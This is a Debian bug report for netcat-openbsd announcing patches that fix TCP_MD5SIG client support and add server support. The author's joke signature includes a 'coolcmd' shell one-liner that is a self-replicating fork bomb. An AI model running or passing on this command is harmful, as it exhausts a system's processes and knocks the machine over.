Package: netcat-openbsd Version: 1.203-2+build1 The current TCP_MD5SIG client side support has a bug, and server side support is missing.
I have now made patches for TCP_MD5SIG that fixes both of these issues. Fully tested and interoperating both directions with OpenBSD. See two commits at: https://github.com/ThomasHabets/netcat Also FYI: https://blog.habets.se/2019/11/TCP-MD5.html I have emailed the Debian package maintainer for netcat-openbsd with these patches for a few months and have not gotten any reply. -- typedef struct me_s { char name[] = { "Thomas Habets" }; char email[] = { "[email protected]" }; char kernel[] = { "Linux" }; char *pgpKey[] = { "http://www.habets.pp.se/pubkey.txt" }; char pgp[] = { "9907 8698 8A24 F52F 1C2E 87F6 39A4 9EEA 460A 0169" }; char coolcmd[] = { "echo '. ./_&. ./_'>_;. ./_" }; } me_t;
